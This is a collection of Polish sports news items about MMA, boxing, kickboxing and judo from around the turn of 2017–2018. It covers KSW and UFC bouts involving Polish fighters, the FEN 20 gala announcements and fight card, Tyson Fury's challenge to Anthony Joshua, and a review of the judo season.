Podczas warszawskiej gali zaprezentował się również Tomasz Narkun. Mistrz kategorii półcięzkiej pokonał Marcina Wójcika. Należy podkreślić, że Narkun konsekwentnie budował swoją pozycję w organizacji Martina Lewandowskiego i Macieja Kawulskiego. Zadebiutował w niej w maju 2014 roku. Już w pierwszej rundzie zawodnik urodzony w Stargardzie Szczecińskim pokonał przez dźwignię na kolano Charlesa Andrade. Co ciekawe, popularny "Żyrafa" wcześniej z powodzeniem rywalizował w rosyjskiej organizacji M-1, gdzie dotarł do pojedynku o pas mistrzowski. Przegrał jednak z Wiaczesławem Wasilewskim. W KSW Narkun ma na koncie jedną porażkę. Przegrał decyzją sędziów z Goranem Reljiciem, ale rewanż na Chorwacie wziął w najlepszym możliwym momencie. Polak triumfował na gali KSW 32 na Wembley i sięgnął po pas w wadze półcięzkiej. Co niezwykle interesujące, 28-letni Narkun wszystkie sześć zwycięstw w KSW odniósł w pierwszych rundach.

Najtrudniejsze wyzwanie

Przed galą na stadionie PGE Narodowy mówiło się, że Borys Mańkowski staje przed szansą na przejęcie pałeczki największej gwiazdy KSW. Stary mistrz Khalidov wygrał i nadal panuje. Wtedy 37-latek walczył z zawodnikiem lżejszym, na KSW 42 czeka go cięższe wyzwanie.

Dla Narkuna to próba, aby wybić się na pierwszy plan i stać główną gwiazdą KSW. Czy upora się ze zwinnym Khalidovem? Ten już może i nie jest najszybszy, ale jego umysł pracuje z niesamowitą prędkością, a nogi i ręce są zwinne. Jeden mocny cios może wszystko zmienić. Każde panowanie się kiedyś kończy. Czy w Łodzi nastąpi koronowanie nowego króla KSW? Trzeba poczekać do 3 marca.

Fot. Tomasz Narkun Facebook

KM

Powrót coraz bliżej?

Wszystko jest na najlepszej drodze, aby Krzysztof Jotko ponownie zaprezentował się w oktagonie. Polski zawodnik wraca do pełni sił po kontuzji dłoni.

Swego czasu 28-latek był wymieniany wśród kandydatów do walki o pas wagi średniej. Ostatnio nie miał dobrej passy. Dodatkowo doznał kontuzji.

Po raz kolejny

W 2015 roku Krzysztof Jotko szykował się do występu na gali UFC Fight Night 64, która odbyła się w Krakowie. Amerykańska organizacja po raz pierwszy zagościła w Polsce. Jednak zawodnikowi urodzonemu w Elblągu nie dane było zaprezentować się w Krakowie. Jotko miał zmierzyć się z Garrethem McLellanem, ale na przeszkodzie stanęła mu kontuzja. Podczas sparingu w USA Polak złamał lewą rękę. Wcześniej podobnego urazu doznał w starciu z Torem Troengiem.

Jotko wrócił do rywalizacji w UFC w październiku 2015 roku. Podczas gali w Dublinie Polak pokonał Scotta Askhama. Tym samym odniósł drugie zwycięstwo z rzędu i w następnych starciach potwierdzał dobrą dyspozycję. W TD Place Arenie w Ottawie, UFC Fight Night 89, w niecałą minutę na łopatki rozłożył Tamdana McCrory'ego. Jego akcję poszły w górę po pokonaniu mocnego Thalesa Leitesa. Mówiło się nawet, że Jotko jest o krok od walki o pas. Ale dwa kolejne pojedynki zupełnie zmieniły położenie Polaka. Najpierw Jotko przegrał z Davidem Branchem, a później przed czasem z Uriahem Hallem. Starcie z doświadczonym Amerykaninem, 28-latek rozpoczął znakomicie. Najpierw świetne podbródkowe, potem sprowadzenie do parteru i próba zakończenia walki przed czasem. Jednak kolejne minuty wyglądały zupełnie inaczej. W drugiej rundzie Hall przebudził się. Amerykanin próbował kopnięć z obrotu, jednak nie doszły do celu. W końcu Hall trafił Polaka mocnym ciosem z prawej ręki. Jotko przegrał drugą walkę z rzędu i nabawił się kontuzji. 28-latek musiał poddać się operacji prawej ręki.

Czas na powrót

Gdyby nie uraz, prawdopodobnie Krzysztof Jotko zmierzyłby się z legendarnym Lyoto Machidą. Absencja zawodnika objęła również termin gali UFC w Gdańsku. Wygląda na to, że już niebawem Jotko będzie mógł analizować propozycje i szykować się do kolejnych pojedynków. – Mam  za sobą wizytę u doktora Gellmana, który powiedział, że jestem w 100 proc. gotowy, żeby nokautować ludzi. Pan Jotko wrócił – napisał na Twitterze Krzysztof Jotko.

Fot. Krzysztof Jotko Twitter

KM

Szansa na rewanż

Jan Błachowicz szykuje się do kolejnej walki w UFC. 34-letni Polak zmierzy się z Jimim Manuwą, z którym blisko trzy lata temu przegrał w Krakowie. Walka odbędzie się na gali UFC Fight Night 127 w Londynie.

Błachowicz wygrał dwa ostatnie pojedynki, więc jest w gazie. Czy podtrzyma dobrą passę, a zarazem zrewanżuje się za porażkę poniesioną na UFC Fight Night 64?

Pasywny Błachowicz

Polak przebojem wdarł się do najlepszej organizacji MMA na świecie i w debiucie efektownie pokonał Ilira Latifiego. W pierwszej rundzie Błachowicz oszołomił Szweda. Wszyscy zachwycali się znakomitą postawą byłego mistrza KSW i wiązali duże nadzieje z jego rozwojem w UFC. W kolejnej walce Błachowicz miał zmierzyć się z Jimim Manuwą. Mocnym zawodnikiem, który wtedy miał na koncie tylko jedną porażkę – z Alexandrem Gustafssonem. Atutem Polaka miał być fakt, że gala UFC Fight Night 64 odbywała się w Krakowie.

Nic z tego. Błachowicz nie przypominał zawodnika, który efektownie rozprawił się z Latifim. Polak był pasywyny i walczył przede wszystkim w stójce. Manuwa może wielkich rzeczy nie robił, ale cały czas był aktywny. Anglik spychał Polaka do siatki, uderzał kolanami, jednak krzywdy rywalowi nie zrobił. Sędziowie wskazali na Manuwę – 30:27, 30:27, 29:28.

Po blisko trzech latach polski wojownik będzie miał okazję do rewanżu. Błachowicz zmierzy się z Manuwą 17 marca w Londynie podczas gali UFC Fight Night 127. Polak ma juz zdecydowanie większe doświadczenie w amerykańskiej organizacji, nauczył się wychodzić za tarapatów. Bilans Błachowicza w UFC to cztery zwycięstwa i cztery porażki. Jednak teraz może pochwalić się dwoma wygranymi z rzędu. Najpierw przed czasem rozprawił się z Devinem Clarkiem, a później uporał się z Jaredem Cannonierem. Z kolei kariera Manuwy układała się wręcz idealnie. Po walce z Błachowiczem, rywalizował z twardym i skutecznym Anthony'm Johnsonem, jednak bezskutecznie. Dwie wygrane przed czasem pozwoliły snuć marzenia o starciu o pas mistrzowski. Jednak wtedy niespodziewanie w pierwszej rundzie Manuwa przegrał z Volkanem Oezdemirem.

Rewanż za Kraków zapowiada się niezwykle ciekawie. Akcje Błachowicza stoją wysoko, z kolei Manuwa będzie chciał pokazać, że ostatnia porażka to tylko i wyłącznie wpadka.

Kto jeszcze?

Karta walk w Londynie powoli zapełnia się. W O2 Arenie zaprezentuje się urodzony w Zabrzu Peter Sobotta. Niemiec rywalizujący w wadze półśredniej będzie chciał zatrzymać rozpędzonego Leona Edwardsa, który wygrał ostatnie cztery starcia.

W Londynie zobaczymy również Nasrata Haqparasta, który w październiku przegrał z Marcinem Heldem. Kolejnym rywalem 22-latka będzie Alex Reyes. Podczas londyńskiej gali wystąpią również: Paul Craig w walce z Magomedem Ankalaevem oraz Mark Godbeer, który podejmie Dmitrija Poberezhetsa.

KM

Fury mierzy w starcie z Joshuą

Były mistrz świata wagi ciężkiej WBO, IBO, IBF i WBA Tyson Fury przygotowuje się do powrotu na ring. 29-latek nie kalkuluje i od razu chce rywalizować o najwyższą stawkę. Fury rzucił wyzwanie czempionowi IBF, WBA i IBO Anthony'emu Joshule.

Nikogo nie trzeba przekonywać, że olbrzym z Wilmslow uwielbia robić wszystko, aby wokół niego było głośno. Cel sportowy to jedno, a obecne możliwości to drugie. Przed Fury'm ciężka praca.

Zrzucić kilogramy

Dokonał tego, o czym marzył, ale sukces był początkiem jego dramatu. 28 listopada 2015 roku w Esprit Arenie w Dusseldorfie Tyson Fury zakończył panowanie Władimira Kliczko. Przez całą walkę Brytyjczyk walczył konsekwentnie i nie pozwolił Ukraińcowi na zbyt wiele. Fury wygrał na punkty i znalazł się na szczycie. Nowy mistrz zgodził się na rewanż z wielkim Kliczko. Po drodze stracił pas IBF, ponieważ nie stanął do obowiązkowej obrony trofeum z Wiaczesławem Głazkowem.

Najgorsze miało jednak nadejść. Wszyscy dyskutowali o rewanżu Fury-Kliczko, który miał się odbyć 9 lipca 2016 roku, a potem 29 października. Mistrz narzekał na zdrowie, ale w końcu na światło dzienne wyszły jego problemy z alkoholem i kokainą. Tyson Fury zrezygnował z pasów i skupił się na walce z samym sobą. Podjął również decyzję o zakończeniu kariery, ale nie jeden raz… Fury robił wszystko, aby o nim nie zapomniano. We wrześniu pojawił się na sali treningowej i zapowiedział, że wraca na dobre. Przez kilka miesięcy przybyło mu kilogramów, a więc najpierw pięściarz skupia się na unormowaniu wagi.

Początek roku to czas życzeń i deklaracji. Wiadomo, że Fury marzy o powrocie na ring. Chce zrobić to z przytupem. – Stawiam wyzwanie sportowe Anthony'emu Joshule, żeby walczył ze mną w mojej pierwszej od 2,5 roku walce. Jestem najlepszy na ziemi w wadze ciężkiej. Udowodnisz, że tak nie jest? Piłka jest po twojej stronie – napisał na Twitterze Fury.

Teraz Parker?

Joshua i Fury są w zupełnie innych miejscach. 28-latek z Watfordu zyskuje coraz większą popularność, a jego pięści są niezawodne. Wygrał dwadzieścia walk przed czasem. W październiku pokonał Carlosa Takama, choć pierwotnie miał walczyć z Kubratem Pulewem, jednak ten doznał kontuzji.

Teraz trwa dyskusja na temat kolejnego pojedynku mistrza IBF, IBO i WBA. W marcu w Cardiff Joshua miałby zmierzyć się z czempionem WBO Josephem Parkerem. A więc Fury będzie musiał poczekać.

KM

FEN 20: Rębecki vs Ziółkowski o pas!

Znamy pierwszy pojedynek mistrzowski podczas gali FEN 20 "Next Level", która 10 marca odbędzie się w Warszawie. O tytuł czempiona w kategorii lekkiej powalczą Marian Ziółkowski (17-5, 3 KO, 12 SUB) i Mateusz Rębecki (5-1, 4 SUB).

Nazwisko Ziółkowskiego zostało podane jako jedne z pierwszych przed jubileuszową galą FEN 20. „Złoty chłopiec” dla federacji walczył już dwukrotnie. Warszawiak znany jest z tego, że bardzo często efektownie poddaje swoich rywali. Z 17 zawodowych zwycięstw, które ma na swoim koncie, aż 12 kończył w ten właśnie sposób. Do tego dochodzą trzy nokauty i dwie wygrane na punkty.

Rębecki dla FEN stoczył już trzy pojedynki i wszystkie wygrał. Ostatnim razem kibice organizacji mogli go zobaczyć w akcji podczas wakacyjnej gali w Koszalinie. Wtedy poddany został niebezpieczny Dmitriy Golbaev. "Chińczyk" dawał jasne znaki, że bardzo chciałby stoczyć pojedynek o pas. W Warszawie będzie miał ku temu okazję.

– To będzie sportowo kapitalny pojedynek. I Rębecki, i Ziółkowski trzy ostatnie swoje walki wygrali. Waga lekka potrzebuje mistrza, bo mamy kilku mocnych zawodników, którzy aspirują do tego, by rządzić w tej hierarchii. Kto wygra na Torwarze? Nie mam pojęcia, ale bardzo cieszę się na samą myśl o tym starciu – powiedział Paweł Jóźwiak, prezes FEN.

Gala FEN 20 "Next Level" odbędzie się 10 marca w warszawskiej hali "Torwar".

Sprzedaż biletów na stronie www.fen-mma.com/bilet/

Ważna zmiana na FEN 20!

Od gali Fight Exclusive Night 20 "Next Level", która 10 marca odbędzie się w warszawskiej hali Torwar, podczas pojedynków dozwolone będą uderzenia łokciami.

Zmiana będzie miała na celu jeszcze bardziej podnieść widowiskowość i atrakcyjność pojedynków dla kibiców. Łokcie w parterze i klinczu spowodują, że zawodnik w defensywie będzie musiał być bardziej aktywny i mniej będzie "klejenia się" do oponenta. Walka w stójce natomiast będzie jeszcze bardziej dynamiczna, a zawodnicy będą mieli do wykorzystania nową, bardzo niebezpieczną broń.

– W wielu najlepszych na świecie organizacjach ciosy łokciami są dozwolone i też postanowiliśmy iść tą drogą. Myślałem już o tym szybciej, ale ze zmianami poczekałem do jubileuszowej gali. FEN 20 będzie dzięki temu jeszcze bardziej emocjonująca i jeszcze bardziej niebezpieczna – to dobrze – powiedział Paweł Jóźwiak, prezes FEN.

Sprzedaż biletów na galę FEN 20 "Next Level" stronie www.fen-mma.com/bilet/

Bartosz Leśko wystąpi na FEN 20!

Bartosz Leśko (6-0-1) wystąpi podczas Fight Exclusive Night 20 "Next Level". Znamy zatem kolejnego bohatera jubileuszowej gali, która 10 marca odbędzie się w warszawsiej hali Torwar.

Leśko ze znakomitej strony pokazał się we Wrocławiu, gdzie po bardzo dobrym pojedynku pokonał Pawła Brandysa. Wcześniej w swoim debiucie w FEN, w maju podczas gdyńskiej gali, pokonał Aleksandra Rychlika. Leśko poddał swojego rywala w drugiej rundzie, czym skradł serca trójmiejskiej publiczności. Zawodnik trenuje na co dzień w słynnym gdyńskim klubie „Mad Dogs” i „Brzostek TOP Team”. Jego pięć zwycięskich pojedynków odniesionych przed czasem są gwarancją niesamowitego widowiska.

– Mam już przeciwnika dla Bartosza Leśko i na pewno wszyscy będą zadowoleni z tego zestawienia. To może nie potrwać pełnego dystansu. Młodość kontra doświadczenie – tyle mogę zdradzić na ten moment – powiedział Paweł Jóźwiak, prezes FEN.

Sprzedaż biletów na galę FEN 20 „Next Level” stronie www.fen-mma.com/bilet/

Krzysztof Kułak na FEN 20!

Krzysztof Kułak (29-15, 7 KO, 15 SUB) został nowym zawodnikiem federacji Fight Exclusive Night. 36-latek zadebiutuje pod szyldem federacji już podczas gali FEN 20 "Next Level", która odbędzie się 10 marca w warszawskiej hali Torwar.

""

– Wrzuciłem kilka tygodni temu na Facebook'a zdjęcie z Krzyśkiem, bo rozmawialiśmy na temat współpracy od dłuższego czasu. On chciał, by chcieliśmy, więc miło mi poinformować, że tak znakomity zawodnik będzie reprezentował naszą federację. Spójrzmy na jego rekord – ma na swoim koncie 29 zwycięstw, z czego aż 15 poddań. To robi wrażenie. Wystąpi w Warszawie, szykujemy mu naprawdę mocnego rywala. Mam w głowie już nazwisko, ale – jak wiadomo – najpierw muszę wszystko dogadać. Jestem szczęśliwy, że Krzysiek będzie reprezentował naszą federację – powiedział prezes FEN, Paweł Jóźwiak.

Oficjalnie: Trybson wystąpi na FEN 20

Spekulowano, spekulowano, a teraz możemy już ogłosić ten komunikat oficjalnie: Paweł "Trybson" Trybała (3-3, 3 KO) wystąpi podczas gali FEN 20 "Next Level". Będzie to jego debiut pod szyldem federacji.

"Trybson" kontrakt z FEN podpisał we wrześniu, ale nie udało mu się zadebiutować podczas 19. edycji, która odbyła się we Wrocławiu. Wtedy zawodnik miał problemy zdrowotne, które uniemożliwiły mu wyjście do klatki.

– Nie mogę już się doczekać 10 marca. Aż chce się trenować z myślą, że przyjdzie mi pokazać się przed tak liczną publicznością podczas tak znakomitej gali – powiedział "Trybson".

Na ten moment nie wiadomo, z kim Trybała zmierzy się w klatce 10 marca. Nazwisko jego rywala ogłosimy w ciągu najbliższych tygodni.

Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.

Paczuski w walce wieczoru na FEN 20!

Znamy nazwisko kolejnego zawodnika, który wystąpi podczas gali Fight Exclusive Night 20 "Next Level". Na Torwarze kibice będą mieli przyjemność podziwiać w akcji Radosława Paczuskiego (18-2-0). Będzie to jeden z bohaterów walki wieczoru, której stawką będzie pas mistrzowski FEN w K-1 w kategorii do 85 kilogramów.

Ostatnim razem w klatce FEN Paczuskiego można było oglądać podczas 17. edycji, która w maju odbyła się w Gdyni. Wtedy to 24-latek pokonał przez techniczny nokaut w pierwszej rundzie Menno Van Roosmalena (20-6-2). Później wystąpił jeszcze raz, ale już poza FEN i tam pokonał przed jednogłośną decyzję sędziów pochodzącego z Niemiec Floriana Krogera.

Radosław Paczuski to jeden z najbardziej utalentowanych i ambitnych zawodników kickboxingu i muay thai w Polsce. Reprezentant warszawskiego Uniq Fight Club jest multimedalistą mistrzostw Polski i członkiem kadry narodowej w obu tych dyscyplinach sportu. W październiku 2016 roku odniósł największy jak dotychczas swój sukces na arenie międzynarodowej, sięgając po pas mistrza K-1 Global w kategorii -85 kg – w obu turniejowych walkach znokautował swoich przeciwników kolanem na głowę. Wcześniej trzykrotnie wywalczył kickbokserski Puchar Świata WAKO oraz wicemistrzostwo Europy i brązowy medal w Pucharze Świata federacji IFMA w muay thai. Paczuski wygrywał już z takimi znakomitymi zawodnikami, jak Adrian Valentin, Karolis Liukaitis czy Khasan Khaliev. W sumie w amatorskim ringu stoczył 94 walki, doznając w nich zaledwie 8 porażek.

Federacja FEN w najbliższych tygodniach poinformuje, kto będzie rywalem trenującego na co dzień w Uniq Fight Club w Warszawie zawodnika.

Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.

Oficjalnie: Arkadiusz Wrzosek wystąpi na FEN 20!

Znamy nazwisko kolejnego zawodnika, który wystąpi podczas gali Fight Exclusive Night 20 "Next Level". 10 marca na Torwarze zobaczymy ulubieńca warszawskiej publiczności, Arkadiusza Wrzoska (8-4). Obecny mistrz federacji w kategorii ciężkiej w formule K-1 po raz pierwszy będzie bronił pasa czempiona, który wywalczył podczas gali FEN 19 w październiku we Wrocławiu.

25-letni Arkadiusz Wrzosek to wciąż młody, niezwykle perspektywiczny zawodnik wagi ciężkiej. Mierzący 201 cm fighter to aktualny mistrz Europy i mistrz Polski Muay Thai. Zdobywał także tytuły mistrza Polski Wushu i medale mistrzostw Polski w tajskim boksie. W 2015 roku był pretendentem do pasa zawodowego mistrza Europy WKU. W pamięci wszystkich kibiców zapadł szczególnie jego pojedynek z marca 2017 roku, kiedy to w warszawskim Torwarze po znakomitym widowisku pokonał Artura Bizewskiego podczas FEN 16. Potem błyszczał podczas 19. edycji, gdy pokonał przez nokaut Nikolaja Falina i został pierwszym mistrzem w K-1 w kategorii ciężkiej. W Warszawie będzie bronił tego trofeum.

Nazwisko przeciwnika Arkadiusza Wrzoska na FEN 20 poznamy w ciągu najbliższych tygodni.

Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.

Wielki rewanż na FEN 20!

Mamy to! Wielki rewanż pomiędzy Arkadiuszem Wrzoskiem (8-4) a Arturem Bizewskim (7-1) odbędzie się podczas gali FEN 20 "Next Level". Będzie to powtórne starcie pomiędzy tymi zawodnikami, gdyż również w Torwarze, w marcu 2017 roku, podczas gali FEN 16 panowie spotkali się po raz pierwszy. Wtedy po znakomitym boju lepszy okazał się aktualny mistrz FEN w kategorii ciężkiej w formule K-1, Wrzosek. 

25-letni Arkadiusz Wrzosek to wciąż młody, niezwykle perspektywiczny zawodnik wagi ciężkiej. Mierzący 201 cm fighter to aktualny mistrz Europy i mistrz Polski Muay Thai. Zdobywał także tytuły mistrza Polski Wushu i medale mistrzostw Polski w tajskim boksie. W 2015 roku był pretendentem do pasa zawodowego mistrza Europy WKU. W pamięci wszystkich kibiców zapadł szczególnie jego pojedynek z marca 2017 roku, kiedy to w warszawskim Torwarze po znakomitym widowisku pokonał Artura Bizewskiego podczas FEN 16. Potem błyszczał podczas 19. edycji, gdy pokonał przez nokaut Nikolaja Falina i został pierwszym mistrzem w K-1 w kategorii ciężkiej. W Warszawie będzie bronił tego trofeum.

Artur Bizewski ma na koncie osiem zawodowych walk K-1, z których cztery ostatnie stoczył dla federacji FEN. Po zwycięstwie nad Szrederem dwukrotny zdobywca Pucharu Świata i brązowy medalista mistrzostw Europy zmierzył się na gali FEN 16 z aktualnym mistrzem federacji w formule K-1 Arkadiuszem Wrzoskiem. W stołecznym Torwarze „Bizon” przegrał, ale wspólnie z rywalem zafundowali kibicom emocjonujący pojedynek K-1 na europejskim poziomie, toczony w niesamowitym tempie i obfitujący w znakomite akcje z obu stron.

Później Bizewski dwukrotnie zwyciężył – ponownie ze Szrederem i podczas wakacyjnej edycji "Summer Edition" w Koszalinie z Mateuszem Duczmalem.

Karta walk FEN 20:

  • TBA VS Radosław Paczuski -85 kg formuła K-1*
  • Mateusz Rębecki VS Marian Ziółkowski -70 kg*
  • Artur Bizewski VS Arkadiusz Wrzosek 95 kg formuła K-1*
  • TBA VS Paweł Trybała -84 kg
  • Bartosz Leśko VS Marcin Naruszczka -84 kg
  • TBA VS Kamil Łebkowski -66 kg
  • TBA VS Krzysztof Kułak -84 kg
  • TBA VS TBA
  • TBA VS TBA

*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.

Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.

Zagłosuj na Kickboxing !!!

Polski Związek Kickboxingu i Światowa Organizacja WAKO zwraca się do wszystkich sympatyków kickboxingu, zawodników i trenerów z prośbą o pomoc w rozpropagowaniu głosownia na Sportowca Roku The World Games reprezentującego naszą dyscyplinę sportową – kickboxing.

Każda osoba, która chce wesprzeć naszą idee proszona jest o zamieszczenie linku na swoich klubowych stronach internetowych oraz na Facebooku zachęcając tym samym wszystkich do oddania głosów na reprezentantkę kickboxingu Sarela de Jonga z Holandii !!!

Zagłosujmy na naszego kandydata i pokażmy siłę Kickboxingu! 

Link do głosowania: https://www.theworldgames.org/awards/Athlete-of-the-Year-2017-46

Głos na Sportowca Roku można oddać również na stronie IWGA:

https://www.facebook.com/iwga.theworldgames/videos/1699903870079059/

https://twitter.com/TheWorldGames/status/947700061085020160

 

Bal Mistrzów Kickboxingu – Węgrów 13.01.2018

Szanowni Państwo,

Prezes Polskiego Związku Kickboxingu w imieniu swoim oraz całego zarządu PZKB zaprasza na Bal Mistrzów Kickboxingu oraz uroczystość wręczenia nagród i wyróżnień – Heros 2017 dla zawodników, trenerów, działaczy i partnerów PZKB za 2017 rok.

W programie imprezy przewidujemy udział w ceremonii wręczenia nagród PZKB za rok 2017 oraz wspaniałą zabawę noworoczną, wyżywienie i nocleg z 13/14 stycznia 2018. Rozpoczęcie o godz.18.00 – Hotel Everest Węgrów, ul. Żeromskiego 52 – Koszt imprezy: 190 PLN/osoby (liczba miejsc ograniczona, decyduje kolejność zgłoszeń).

Prosimy o przesyłanie zgłoszeń do dnia 4 stycznia 2018 na adres e-mail: biuro@pzkickboxing.pl z dopiskiem w tytule:

"Bal Mistrzów Kickboxingu i wskazaniem imienia i nazwiska uczestnika/-ów".

Serdecznie zapraszamy i do zobaczenia.

Prezes Polskiego Związku Kickboxingu Piotr Siegoczyński

Wyzwania na kolejny rok

Mistrzostwa świata w Baku i mistrzostwa Europy w Tel Awiwie to najważniejsze imprezy w judo w 2018 roku. Z kolei pod koniec maja wystartują kwalifikacje olimpijskie. Zapowiada się ciekawy rok w judo.

W 2017 roku reprezentanci Polski z każdej dużej imprezy przywieźli minimum medal. Powinni iść dalej tą drogą i walczyć o cenne punkty, które przybliżą ich do startu w Tokio w 2020 roku.

Brąz z Budapesztu

Bez wątpienia największym indywidualnym osiągnięciem 2017 roku w polskim judo jest brązowy medal wywalczony przez Agatę Ozdobę-Błach (63kg) w mistrzostwach świata w Budapeszcie. Polka stoczyła cztery zacięte walki, w których okazała się lepsza od rywalek. Dwie z nich wygrała przed czasem – z Mią Hermansson i Edwige Gwend. Otwarcie bram do starcia o złoto było o krok, jednak na drodze judoczki AZS AWF Wrocław stanęła Clarisse Agbegnenou. Wicemistrzyni olimpijska z Rio triumfowała po dogrywce. Ozdoba musiała się skoncentrować i skupić na starciu o brąz. Zadanie wykonała fenomenalnie! Znakomicie wytrzymała trudy rywalizacji z Martyną Trajdos i po dogrywce wygrała przez waza-ari.

W kwietniu minionego roku do Warszawy zjechali się czołowi judocy Europy, aby walczyć o prymat na Starym Kontynencie. Indywidualnie o krok od medalu byli Katarzyna Kłys (70kg) i Maciej Sarnacki (+100kg). Oboje zajęli piąte miejsca. W Warszawie biało-czerwoni zdobyli jeden medal. Srebro na swoim koncie zapisała reprezentacja kobiet. W pierwszej rundzie biało-czerwone miały wolny los i rywalizację rozpoczęły od półfinału, w którym uporały się z Niemkami 3:2. O zwycięstwie naszej reprezentacji przesądziły: Karolina Pieńkowska (52kg), Anna Borowska (57kg) oraz Kłys. W zmaganiach o złoto Polki przegrały z Francuzkami – 0:5.

W 2017 roku w Gdyni odbyły się zawody Pucharu Europy Juniorów. Polacy wywalczyli łącznie dziewięć medali. Z kolei Bielsko-Biała gościła zawodników rywalizujących w Pucharze Europy kadetów. Biało-czerwoni zakończyli zmagania z trzema brązowymi medalami.

Co przed nami?

Najbliższe dwanaście miesięcy przyniesie wiele ciekawych wydarzeń. Imprezą największego kalibru będą mistrzostwa świata w Baku, które odbędą się w dniach 20-27 września. Rywalizację o panowanie w Europie zaplanowano w Tel Awiwie w terminie 26-28 kwietnia.

Judocy powoli zaczynają myśleć o Igrzyskach Olimpijskich w Tokio. Majowe Grand Prix w Hohhot będzie pierwszą okazją do wywalczenia pierwszych punktów potrzebnych do uzyskania kwalifikacji. Polska również będzie areną zmagań judoków. 3-4 marca w Warszawie rozegrane zostaną zawody European Open kobiet. Po raz kolejny w Bielsku-Białej rywalizować będą kadeci (19-20 maja) w ramach Puchar Europy, zaś w Gdyni pojawią się juniorzy (7-8 lipca).

Ciekawym doświadczeniem będą mistrzostwa Europy drużyn mieszanych. 18 lipca judocy zaprezentują się w Jekaterynburgu.

Fot. IJF/Facebook

KM

Oleksiejczuk zaczął od zwycięstwa

Udany debiut Michała Oleksiejczuka w UFC. Na gali w T-Mobile Arena w Las Vegas Polak na przestrzeni trzech rund pokonał Khalila Rountree. W walce wieczoru UFC 219 Cris Justino lepsza od Holly Holm.

Na kończącą rok 2017 galę w Las Vegas wszyscy czekali ze względu na rywalizację na szczycie w wadze piórkowej kobiet. Nie zabrakło polskiego akcentu w postaci debiutu młodego i groźnego Michała Oleksiejczuka.

Przyszłość przed nim

Pochodzący z Łęcznej zawodnik ma dopiero 22 lata. Trafił do UFC po dziewięciu zwycięstwach z rzędu, w tym ośmiu przed czasem! Dobra postawa pozwoliła mu dostać się do innego wymiaru, w którym trzeba być przygotowanym na wyniszczającą walkę. Michał Oleksiejczuk uniósł ciężar rywalizacji w UFC. W debiucie trafił na Khalila Rountree, który w zeszłym roku miał kryzys w amerykańskiej organizacji. 27-latek poniósł dwie porażki, ale kolejne dwa pojedynki wygrał przez nokaut i jego akcje wzrosły. Polak miał być kolejną ofiarą Amerykanina, jednak Rountree został zaskoczony przez fightera z Łęcznej.

Od początku 27-latek odważnie ruszył do przodu. Trafiał Polaka, na którego twarzy pojawiła się krew. W końcu Oleksiejczuk zdobył sprowadzenie, ale niewiele udało mu się zrobić w parterze. Polak przetrwał napór rywala, zaczął dochodzić do głosu, a Rountree tracił siły. W drugiej rundzie Oleksiejczuk dał prawdziwy popis. Amerykanin przyjmował kolejne ciosy, Polak wyprowadzał podbródkowe, atakował kolanem na głowę. Z czasem faworyzowany Rountree poczuł, że zwycięstwo jest coraz dalej. Amerykanin starał się skutecznie atakować, ale Oleksiejzuk był na posterunku. Polak sprowadził walkę do parteru i do końca dyktował warunki.

Sędziowie nie mieli żadnych wątpliwości. Oleksiejczuk wygrał jednogłośną decyzją – wszyscy punktowali 30:27. 22-letni Polak zapisał na swoim koncie trzynaste zwycięstwo w karierze.

Wygrała, ale nie przed czasem

Myśl o rywalizacji Justino i Holm elektryzowała. „Cyborg” to gwiazda kobiecego MMA, która niszczy wszystkie przeszkody na swojej drodze. Również Holm to wyjątkowa postać. Amerykanka zapisała się w historii jako ta, która zatrzymała Rondę Rousey i odebrała jej pas w wadze koguciej. Szybko go jednak straciła, a później walczyła o tytuł w kategorii piórkowej. Holm musiała uznać wyższość Germaine de Randamie.

Los ponownie dał szansę 36-letniej Amerykance, która po pokonaniu Rousey zaliczyła aż trzy porażki i tylko jedno zwycięstwo. Ale poprzeczka była zawieszona wysoko. Cyborg idzie jak burza, zarówno w organizacji Invicta, a obecnie w UFC. Ostatnie dwanaście walk 32-letnia Brazylijka wygrała przed czasem! 

Starcie o pas z animuszem zaczęła Holm. Wysokie kopnięcie i Justino znalazała się na ziemi. Amerykanka szukała swoich okazji, trafiała, ale Brazylijka nie pozostawała bierna. Z czasem Holm coraz częściej klinczowała. W czwartej rundzie widać było, że była mistrzyni wagi koguciej przyjęła wiele ciosów. Justino zachowała więcej sił, ale cały czas Holm twardo trzymała się na nogach. Amerykanka wytrzymała pięć rund, jednak kolejne zwycięstwo na swoim koncie zapisała „Cyborg”.

Fot. Michał Oleksiejczuk Facebook

KM

Gorący rok w MMA

W 2017 roku ponownie do Polski zawitała organizacja UFC. Ostatnie dwanaście miesięcy obfitowało w wiele fantastycznych walk w MMA. Co zapadnie nam najbardziej w pamięci z 2017 roku?

Pierwsza gala UFC w Polsce odbyła się 11 kwietnia 2015 roku w Krakowie. W walce wieczoru Mirko Filipović w trzeciej rundzie rozprawił się z Gabrielem Gonzagą. Minęło ponad 2,5 roku i najlepsza organizacja MMA na świecie ponownie zawitała do Polski. Gala UFC Fight Night 118 odbyła się w październiku w Ergo Arenie w Gdańsku. Kibice mogli podziwiać sześcioro Polaków, z których czworo wygrało swoje pojedynki. Karolina Kowalkiewicz pokonała Jodie Esquibel, Oskar Piechota wygrał z Jonathanem Wilsonem, a Jan Błachowicz i Damian Stasiak triumfowali przed czasem – odpowiednio z Devinem Clarkiem oraz Brianem Kelleherem. W walce wieczoru w pierwszej rundzie Darren Till pokonał w pierwszej rundzie Donalda Cerrone.

Rok 2017 był wyjątkowy dla Konfrontacji Sztuk Walki. Organizacja Martina Lewandowskiego i Macieja Kawulskiego dokonała swego rodzaju przełomu. Blisko 58 tysięcy widzów śledziło z bliska galę KSW 39 Colosseum, która odbyła się na stadionie PGE Narodowy w Warszawie. W stolicy do rywalizacji po sześciu latach powrócił Łukasz Jurkowski i pokonał Rameau Thierry Sokoudjou. Udany debiut zaliczył również brązowy medalista Igrzysk Olimpijskich w Londynie w zapasach Damian Janikowski, który w pierwszej rundzie rozbił Julio Gallegosa. W walce wieczoru doszło do starcia czołowych zawodników KSW. Mamed Khalidov okazał się lepszy od Borysa Mańkowskiego. Z kolei w październiku KSW wybrało się w podróż do Dublina. Głównym wydarzeniem gali numer 40 była walka Mariusza Pudzianowskiego z Jayem Silvą. 40-letni Polak zapisał na swoim koncie dwunaste zwycięstwo w karierze. Ponadto w 2017 roku KSW zorganizowało gale w Sękocinie Nowym i Katowicach.

